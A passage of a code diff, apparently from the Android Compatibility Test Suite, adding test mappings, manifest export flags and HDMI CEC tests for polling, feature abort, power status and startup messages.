+        runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+                "testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateDisabled",
+                /*enabledChanges*/
+                ImmutableSet.of(),
+                /*disabledChanges*/
+                ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID));
+    }
+}
diff --git a/hostsidetests/graphics/gpuprofiling/TEST_MAPPING b/hostsidetests/graphics/gpuprofiling/TEST_MAPPING
new file mode 100644
index 0000000..ca81f4a
--- /dev/null
+++ b/hostsidetests/graphics/gpuprofiling/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsGpuProfilingDataTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/harmfulappwarning/TEST_MAPPING b/hostsidetests/harmfulappwarning/TEST_MAPPING
new file mode 100644
index 0000000..80c945b
--- /dev/null
+++ b/hostsidetests/harmfulappwarning/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsHarmfulAppWarningHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/harmfulappwarning/sampleapp/AndroidManifest.xml b/hostsidetests/harmfulappwarning/sampleapp/AndroidManifest.xml
index 5bfbd24..08a3c12 100755
--- a/hostsidetests/harmfulappwarning/sampleapp/AndroidManifest.xml
+++ b/hostsidetests/harmfulappwarning/sampleapp/AndroidManifest.xml
@@ -16,16 +16,16 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.harmfulappwarning.sampleapp">
+     package="android.harmfulappwarning.sampleapp">
 
     <application>
-        <activity android:name=".SampleDeviceActivity" >
+        <activity android:name=".SampleDeviceActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
 </manifest>
-
diff --git a/hostsidetests/hdmicec/app/Android.bp b/hostsidetests/hdmicec/app/Android.bp
index 29045b4..09f4fbf 100644
--- a/hostsidetests/hdmicec/app/Android.bp
+++ b/hostsidetests/hdmicec/app/Android.bp
@@ -23,9 +23,12 @@
     certificate: "platform",
     srcs: ["src/**/*.java"],
     static_libs: [
-        "services.core",
-        "guava",
         "androidx.test.runner",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "guava",
+        "services.core",
+        "truth-prebuilt",
     ],
     min_sdk_version: "28",
 }
diff --git a/hostsidetests/hdmicec/app/AndroidManifest.xml b/hostsidetests/hdmicec/app/AndroidManifest.xml
index de87a1f..06e994d 100644
--- a/hostsidetests/hdmicec/app/AndroidManifest.xml
+++ b/hostsidetests/hdmicec/app/AndroidManifest.xml
@@ -16,25 +16,27 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.hdmicec.app">
+     package="android.hdmicec.app">
     <uses-feature android:name="android.software.leanback"
-        android:required="false" />
+         android:required="false"/>
     <uses-permission android:name="android.permission.HDMI_CEC" />
-    <application >
-        <activity android:name=".HdmiCecKeyEventCapture" >
+    <application>
+        <activity android:name=".HdmiCecKeyEventCapture"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LEANBACK_LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LEANBACK_LAUNCHER"/>
             </intent-filter>
         </activity>
-         <activity android:name=".HdmiCecAudioManager" >
+         <activity android:name=".HdmiCecAudioManager"
+              android:exported="true">
             <intent-filter>
-                <action android:name="android.hdmicec.app.MUTE" />
-                <action android:name="android.hdmicec.app.UNMUTE" />
-                <action android:name="android.hdmicec.app.REPORT_VOLUME" />
-                <action android:name="android.hdmicec.app.SET_VOLUME" />
-                <action android:name="android.hdmicec.app.GET_SUPPORTED_SAD_FORMATS" />
-                <category android:name="android.intent.category.LEANBACK_LAUNCHER" />
+                <action android:name="android.hdmicec.app.MUTE"/>
+                <action android:name="android.hdmicec.app.UNMUTE"/>
+                <action android:name="android.hdmicec.app.REPORT_VOLUME"/>
+                <action android:name="android.hdmicec.app.SET_VOLUME"/>
+                <action android:name="android.hdmicec.app.GET_SUPPORTED_SAD_FORMATS"/>
+                <category android:name="android.intent.category.LEANBACK_LAUNCHER"/>
             </intent-filter>
         </activity>
         <activity android:name=".HdmiControlManagerHelper" >
@@ -43,8 +45,14 @@
                 <action android:name="android.hdmicec.app.DEVICE_SELECT" />
             </intent-filter>
         </activity>
+
+        <uses-library android:name="android.test.runner" />
     </application>
 
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.hdmicec.app" />
+
     <uses-sdk android:minSdkVersion="28"   android:targetSdkVersion="28" />
 
 </manifest>
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
index 9ebaba0..2f19320 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
@@ -16,6 +16,8 @@
 
 package android.hdmicec.cts;
 
+import static org.junit.Assume.assumeTrue;
+
 import com.android.tradefed.config.Option;
 import com.android.tradefed.config.OptionClass;
 import com.android.tradefed.device.ITestDevice;
@@ -26,6 +28,7 @@
 
 import java.io.BufferedReader;
 import java.io.StringReader;
+import java.util.concurrent.TimeUnit;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
@@ -66,6 +69,8 @@
 
     @Before
     public void setUp() throws Exception {
+        setCec14();
+
         if (mDutLogicalAddress == LogicalAddress.UNKNOWN) {
             mDutLogicalAddress = LogicalAddress.getLogicalAddress(getDumpsysLogicalAddress());
         }
@@ -191,6 +196,34 @@
         throw new Exception("Could not parse active source from dumpsys.");
     }
 
+    private static void setCecVersion(ITestDevice device, int cecVersion) throws Exception {
+        device.executeShellCommand("cmd hdmi_control cec_setting set hdmi_cec_version " +
+                cecVersion);
+
+        TimeUnit.SECONDS.sleep(HdmiCecConstants.TIMEOUT_CEC_REINIT_SECONDS);
+    }
+
+    /**
+     * Configures the device to use CEC 2.0. Skips the test if the device does not support CEC 2.0.
+     * @throws Exception
+     */
+    public void setCec20() throws Exception {
+        setCecVersion(getDevice(), HdmiCecConstants.CEC_VERSION_2_0);
+        hdmiCecClient.sendCecMessage(hdmiCecClient.getSelfDevice(), mDutLogicalAddress,
+                CecOperand.GET_CEC_VERSION);
+        String reportCecVersion = hdmiCecClient.checkExpectedOutput(hdmiCecClient.getSelfDevice(),
+                CecOperand.CEC_VERSION);
+        boolean supportsCec2 = CecMessage.getParams(reportCecVersion)
+                >= HdmiCecConstants.CEC_VERSION_2_0;
+
+        // Device still reports a CEC version < 2.0.
+        assumeTrue(supportsCec2);
+    }
+
+    public void setCec14() throws Exception {
+        setCecVersion(getDevice(), HdmiCecConstants.CEC_VERSION_1_4);
+    }
+
     public String getSystemLocale() throws Exception {
         ITestDevice device = getDevice();
         return device.executeShellCommand("getprop " + PROPERTY_LOCALE).trim();
@@ -206,7 +239,8 @@
     }
 
     public boolean isLanguageEditable() throws Exception {
-        String val = getDevice().executeShellCommand("getprop ro.hdmi.set_menu_language");
+        String val = getDevice().executeShellCommand(
+                "getprop ro.hdmi.set_menu_language");
         return val.trim().equals("true") ? true : false;
     }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecOperand.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecOperand.java
index f04a1a7..712e56d 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecOperand.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecOperand.java
@@ -51,6 +51,8 @@
     GET_CEC_VERSION(0x9f),
     REPORT_SHORT_AUDIO_DESCRIPTOR(0xa3),
     REQUEST_SHORT_AUDIO_DESCRIPTOR(0xa4),
+    GIVE_FEATURES(0xa5),
+    REPORT_FEATURES(0xa6),
     INITIATE_ARC(0xc0),
     ARC_INITIATED(0xc1),
     REQUEST_ARC_INITIATION(0xc3),
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java
index a97b478..f77c3c4 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java
@@ -24,6 +24,12 @@
 
     public static final String PHYSICAL_ADDRESS_NAME = "cec-phy-addr";
     public static final int REBOOT_TIMEOUT = 60000;
+    public static final int TIMEOUT_CEC_REINIT_SECONDS = 5;
+    public static final int TIMEOUT_SAFETY_MS = 500;
+
+    // Standard delay to allow the DUT to react to a CEC message or ADB command
+    public static final int DEVICE_WAIT_TIME_SECONDS = 5;
+    public static final int MAX_SLEEP_TIME_SECONDS = 8;
 
     public static final int DEFAULT_PHYSICAL_ADDRESS = 0x1000;
     public static final int TV_PHYSICAL_ADDRESS = 0x0000;
@@ -37,9 +43,13 @@
     public static final int CEC_CONTROL_LEFT = 0x3;
     public static final int CEC_CONTROL_RIGHT = 0x4;
     public static final int CEC_CONTROL_BACK = 0xd;
+    public static final int CEC_CONTROL_POWER = 0x40;
     public static final int CEC_CONTROL_VOLUME_UP = 0x41;
     public static final int CEC_CONTROL_VOLUME_DOWN = 0x42;
     public static final int CEC_CONTROL_MUTE = 0x43;
+    public static final int CEC_CONTROL_POWER_TOGGLE_FUNCTION = 0x6B;
+    public static final int CEC_CONTROL_POWER_OFF_FUNCTION = 0x6C;
+    public static final int CEC_CONTROL_POWER_ON_FUNCTION = 0x6D;
 
     public static final int UNRECOGNIZED_OPCODE = 0x0;
 
@@ -58,6 +68,14 @@
     public static final int ABORT_REFUSED = 4;
     public static final int ABORT_UNABLE_TO_DETERMINE = 5;
 
+    // CEC versions
+    public static final int CEC_VERSION_1_4 = 0x05;
+    public static final int CEC_VERSION_2_0 = 0x06;
+
+    // CEC Power Status
+    public static final int CEC_POWER_STATUS_ON = 0;
+    public static final int CEC_POWER_STATUS_STANDBY = 1;
+
     // CEC Device feature list
     public static final String HDMI_CEC_FEATURE = "feature:android.hardware.hdmi.cec";
     public static final String LEANBACK_FEATURE = "feature:android.software.leanback";
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecFeatureAbortTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecFeatureAbortTest.java
new file mode 100644
index 0000000..d9b1b35
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecFeatureAbortTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogicalAddress;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.List;
+
+/** HDMI CEC tests related to {@code <Feature Abort>} */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecFeatureAbortTest extends BaseHdmiCecCtsTest {
+
+    private static final int TIMEOUT_SHORT_MILLIS = 1000;
+
+    @Rule
+    public RuleChain ruleChain =
+            RuleChain
+                    .outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(hdmiCecClient);
+
+    /**
+     * Test HF4-2-11
+     * Verify {@code <Feature Abort} message does not result in a {@code <Feature Abort>} response.
+     */
+    @Test
+    public void cect_hf4_2_11_featureAbortBehavior() throws Exception {
+        setCec20();
+
+        List<Integer> abortReasons = Arrays.asList(
+                HdmiCecConstants.ABORT_UNRECOGNIZED_MODE,
+                HdmiCecConstants.ABORT_NOT_IN_CORRECT_MODE,
+                HdmiCecConstants.ABORT_CANNOT_PROVIDE_SOURCE,
+                HdmiCecConstants.ABORT_INVALID_OPERAND,
+                HdmiCecConstants.ABORT_REFUSED,
+                HdmiCecConstants.ABORT_UNABLE_TO_DETERMINE);
+
+        for (Integer abortReason : abortReasons) {
+            hdmiCecClient.sendCecMessage(LogicalAddress.RECORDER_1, mDutLogicalAddress,
+                    CecOperand.FEATURE_ABORT, CecMessage.formatParams(abortReason));
+
+            hdmiCecClient.checkOutputDoesNotContainMessage(LogicalAddress.RECORDER_1,
+                    CecOperand.FEATURE_ABORT, TIMEOUT_SHORT_MILLIS);
+        }
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java
new file mode 100644
index 0000000..85c4c5c
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecClientMessage;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+/** HDMI CEC tests related to polling */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecPollingTest extends BaseHdmiCecCtsTest {
+
+    @Rule
+    public RuleChain ruleChain =
+            RuleChain
+                    .outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(hdmiCecClient);
+
+    /**
+     * Test 11.2.6-1
+     * Tests for Ack {@code <Polling Message>} message.
+     */
+    @Test
+    public void cect_11_2_6_1_Ack() throws Exception {
+        String command = CecClientMessage.POLL + " " + mDutLogicalAddress;
+        String expectedOutput = "POLL sent";
+        hdmiCecClient.sendConsoleMessage(command);
+        if (!hdmiCecClient.checkConsoleOutput(expectedOutput)) {
+            throw new Exception("Could not find " + expectedOutput);
+        }
+    }
+
+    /**
+     * Test HF4-2-10
+     * Verify {@code <Polling Message>} message is acknowledged in all states.
+     *
+     * Explicitly changes that polling messages are handled in standby power states.
+     */
+    @Test
+    public void cect_hf4_2_10_Ack() throws Exception {
+        setCec20();
+
+        ITestDevice device = getDevice();
+        device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+
+        String command = CecClientMessage.POLL + " " + mDutLogicalAddress;
+        String expectedOutput = "POLL sent";
+        hdmiCecClient.sendConsoleMessage(command);
+        if (!hdmiCecClient.checkConsoleOutput(expectedOutput)) {
+            throw new Exception("Could not find " + expectedOutput);
+        }
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
index 0e38b8c..23552d7 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2019 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,6 +17,7 @@
 package android.hdmicec.cts.common;
 
 import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
 
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
 import android.hdmicec.cts.CecMessage;
@@ -27,14 +28,19 @@
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Ignore;
 import org.junit.Rule;
+import org.junit.Test;
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
-import org.junit.Test;
 
+import java.util.Arrays;
+import java.util.List;
 import java.util.concurrent.TimeUnit;
 
-/** HDMI CEC test to check if the device reports power status correctly (Section 11.2.14) */
+/**
+ * HDMI CEC tests verifying power status related messages of the device (CEC 2.0 CTS Section 7.6)
+ */
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecPowerStatusTest extends BaseHdmiCecCtsTest {
 
@@ -43,15 +49,77 @@
     private static final int IN_TRANSITION_TO_STANDBY = 0x3;
 
     private static final int SLEEP_TIMESTEP_SECONDS = 1;
-    private static final int WAIT_TIME = 5;
-    private static final int MAX_SLEEP_TIME = 8;
 
     @Rule
-    public RuleChain ruleChain =
-        RuleChain
-            .outerRule(CecRules.requiresCec(this))
-            .around(CecRules.requiresLeanback(this))
-            .around(hdmiCecClient);
+    public RuleChain mRuleChain =
+            RuleChain
+                    .outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(hdmiCecClient);
+
+    /**
+     * Test HF4-6-20
+     *
+     * Verifies that {@code <Report Power Status>} message is broadcast when the device transitions
+     * from standby to on.
+     */
+    @Test
+    public void cect_hf4_6_20_broadcastsWhenTurningOn() throws Exception {
+        ITestDevice device = getDevice();
+        setCec20();
+
+        // Move device to standby
+        device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+        TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
+
+        // Turn device on
+        device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
+
+        String reportPowerStatus = hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST,
+                CecOperand.REPORT_POWER_STATUS);
+
+        if (CecMessage.getParams(reportPowerStatus) == HdmiCecConstants.CEC_POWER_STATUS_STANDBY) {
+            // Received the "turning off" broadcast, check for the next broadcast message
+            reportPowerStatus = hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST,
+                    CecOperand.REPORT_POWER_STATUS);
+        }
+
+        assertThat(CecMessage.getParams(reportPowerStatus)).isEqualTo(
+                HdmiCecConstants.CEC_POWER_STATUS_ON);
+    }
+
+    /**
+     * Test HF4-6-21
+     *
+     * Verifies that {@code <Report Power Status>} message is broadcast when the device transitions
+     * from on to standby.
+     */
+    @Test
+    public void cect_hf4_6_21_broadcastsWhenGoingToStandby() throws Exception {
+        ITestDevice device = getDevice();
+        setCec20();
+
+        // Turn device on
+        device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
+
+        // Move device to standby
+        device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+        TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
+
+        String reportPowerStatus = hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST,
+                CecOperand.REPORT_POWER_STATUS);
+
+        if (CecMessage.getParams(reportPowerStatus) == HdmiCecConstants.CEC_POWER_STATUS_ON) {
+            // Received the "wake up" broadcast, check for the next broadcast message
+            reportPowerStatus = hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST,
+                    CecOperand.REPORT_POWER_STATUS);
+        }
+
+        assertThat(CecMessage.getParams(reportPowerStatus)).isEqualTo(
+                HdmiCecConstants.CEC_POWER_STATUS_STANDBY);
+    }
 
     /**
      * Test 11.1.14-1, 11.2.14-1
@@ -85,8 +153,8 @@
             device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
             /* The sleep below could send some devices into a deep suspend state. */
             device.executeShellCommand("input keyevent KEYCODE_SLEEP");
-            TimeUnit.SECONDS.sleep(WAIT_TIME);
-            int waitTimeSeconds = WAIT_TIME;
+            TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
+            int waitTimeSeconds = HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS;
             int powerStatus;
             LogicalAddress cecClientDevice = hdmiCecClient.getSelfDevice();
             do {
@@ -97,11 +165,90 @@
                         CecMessage.getParams(
                                 hdmiCecClient.checkExpectedOutput(
                                         cecClientDevice, CecOperand.REPORT_POWER_STATUS));
-            } while (powerStatus == IN_TRANSITION_TO_STANDBY && waitTimeSeconds <= MAX_SLEEP_TIME);
+            } while (powerStatus == IN_TRANSITION_TO_STANDBY &&
+                    waitTimeSeconds <= HdmiCecConstants.MAX_SLEEP_TIME_SECONDS);
             assertThat(powerStatus).isEqualTo(OFF);
         } finally {
             /* Wake up the device */
             device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
         }
     }
+
+    /**
+     * Test HF4-6-8
+     *
+     * Tests that a device comes out of the standby state when it receives a {@code <User Control
+     * Pressed>} message with power related operands.
+     */
+    @Ignore("b/178083922")
+    @Test
+    public void cect_hf4_6_8_userControlPressed_powerOn() throws Exception {
+        ITestDevice device = getDevice();
+        List<Integer> powerControlOperands = Arrays.asList(HdmiCecConstants.CEC_CONTROL_POWER,
+                HdmiCecConstants.CEC_CONTROL_POWER_ON_FUNCTION,
+                HdmiCecConstants.CEC_CONTROL_POWER_TOGGLE_FUNCTION);
+
+        LogicalAddress source = mDutLogicalAddress == LogicalAddress.TV ? LogicalAddress.PLAYBACK_1
+                : LogicalAddress.TV;
+
+        for (Integer operand : powerControlOperands) {
+            try {
+                device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+                TimeUnit.SECONDS.sleep(HdmiCecConstants.MAX_SLEEP_TIME_SECONDS);
+                String wakeStateBefore = device.executeShellCommand(
+                        "dumpsys power | grep mWakefulness=");
+                assertThat(wakeStateBefore.trim()).isEqualTo("mWakefulness=Asleep");
+
+                hdmiCecClient.sendUserControlPressAndRelease(source, mDutLogicalAddress, operand,
+                        false);
+
+                TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
+                String wakeStateAfter = device.executeShellCommand(
+                        "dumpsys power | grep mWakefulness=");
+                assertWithMessage("Device should wake up on <User Control Pressed> %s", operand)
+                        .that(wakeStateAfter.trim()).isEqualTo("mWakefulness=Awake");
+            } finally {
+                device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+            }
+        }
+    }
+
+    /**
+     * Test HF4-6-10
+     *
+     * Tests that a device comes enters the standby state when it receives a {@code <User Control
+     * Pressed>} message with power related operands.
+     */
+    @Test
+    public void cect_hf4_6_10_userControlPressed_powerOff() throws Exception {
+        ITestDevice device = getDevice();
+        List<Integer> powerControlOperands = Arrays.asList(
+                HdmiCecConstants.CEC_CONTROL_POWER_OFF_FUNCTION,
+                HdmiCecConstants.CEC_CONTROL_POWER_TOGGLE_FUNCTION);
+
+        LogicalAddress source = mDutLogicalAddress == LogicalAddress.TV ? LogicalAddress.PLAYBACK_1
+                : LogicalAddress.TV;
+
+        for (Integer operand : powerControlOperands) {
+            try {
+                device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+                TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
+                String wakeStateBefore = device.executeShellCommand(
+                        "dumpsys power | grep mWakefulness=");
+                assertThat(wakeStateBefore.trim()).isEqualTo("mWakefulness=Awake");
+
+                hdmiCecClient.sendUserControlPressAndRelease(source, mDutLogicalAddress, operand,
+                        false);
+
+                TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
+                String wakeStateAfter = device.executeShellCommand(
+                        "dumpsys power | grep mWakefulness=");
+                assertWithMessage("Device should go to standby on <User Control Pressed> %s",
+                        operand)
+                        .that(wakeStateAfter.trim()).isEqualTo("mWakefulness=Asleep");
+            } finally {
+                device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+            }
+        }
+    }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
new file mode 100644
index 0000000..fd0f33c
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
@@ -0,0 +1,127 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.stream.Collectors;
+
+/**
+ * HDMI CEC tests verifying CEC messages sent after startup
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecStartupTest extends BaseHdmiCecCtsTest {
+
+    @Rule
+    public RuleChain ruleChain =
+            RuleChain
+                    .outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(hdmiCecClient);
+
+    /**
+     * CEC 1.4
+     *
+     * Tests that the device sends all the messages that should be sent on startup. It also ensures
+     * that only the device only sends messages which are allowed by the spec.
+     */
+    @Test
+    public void cectVerifyStartupMessages_Cec14b() throws Exception {
+        ITestDevice device = getDevice();
+
+        List<CecOperand> expectedMessages = Collections.singletonList(
+                CecOperand.REPORT_PHYSICAL_ADDRESS);
+        List<CecOperand> allowedMessages = new ArrayList<>(
+                Arrays.asList(CecOperand.VENDOR_COMMAND, CecOperand.GIVE_DEVICE_VENDOR_ID,
+                        CecOperand.SET_OSD_NAME, CecOperand.GIVE_OSD_NAME, CecOperand.CEC_VERSION,
+                        CecOperand.DEVICE_VENDOR_ID, CecOperand.GIVE_POWER_STATUS,
+                        CecOperand.GET_MENU_LANGUAGE));
+        allowedMessages.addAll(expectedMessages);
+
+        device.executeShellCommand("reboot");
+        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        /* Monitor CEC messages for 20s after reboot */
+        final List<CecOperand> messagesReceived =
+                hdmiCecClient.getAllMessages(mDutLogicalAddress, 20);
+
+        List<CecOperand> notPermittedMessages = messagesReceived.stream()
+                .filter(message -> !allowedMessages.contains(message))
+                .filter(message -> !expectedMessages.contains(message))
+                .collect(Collectors.toList());
+
+        List<CecOperand> requiredMessages = messagesReceived.stream()
+                .filter(expectedMessages::contains)
+                .collect(Collectors.toList());
+
+        assertWithMessage("Unexpected messages sent by the device").that(
+                notPermittedMessages).isEmpty();
+        assertWithMessage("Some necessary messages are missing").that(requiredMessages).hasSize(
+                expectedMessages.size());
+        assertWithMessage("Expected <Report Physical Address>").that(
+                requiredMessages.get(0)).isEqualTo(CecOperand.REPORT_PHYSICAL_ADDRESS);
+    }
+
+    /**
+     * CEC 2.0 CTS 7.5.
+     *
+     * Verifies that {@code <Report Features>} and {@code <Report Physical Address>} are sent at
+     * device startup.
+     * Verifies that both messages are sent in the given order.
+     */
+    @Test
+    public void hf_7_5_verifyStartupMessages() throws Exception {
+        ITestDevice device = getDevice();
+        setCec20();
+
+        List<CecOperand> expectedMessages = Arrays.asList(CecOperand.REPORT_PHYSICAL_ADDRESS,
+                CecOperand.REPORT_FEATURES);
+
+        device.executeShellCommand("reboot");
+        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        /* Monitor CEC messages for 20s after reboot */
+        final List<CecOperand> messagesReceived =
+                hdmiCecClient.getAllMessages(mDutLogicalAddress, 20);
+
+        List<CecOperand> requiredMessages = messagesReceived.stream()
+                .filter(expectedMessages::contains)
+                .collect(Collectors.toList());
+
+        assertWithMessage("Some necessary messages are missing").that(requiredMessages).hasSize(
+                expectedMessages.size());
+        assertWithMessage("Expected <Report Features> first").that(
+                requiredMessages.get(0)).isEqualTo(CecOperand.REPORT_FEATURES);
+        assertWithMessage("Expected <Report Physical Address> last").that(
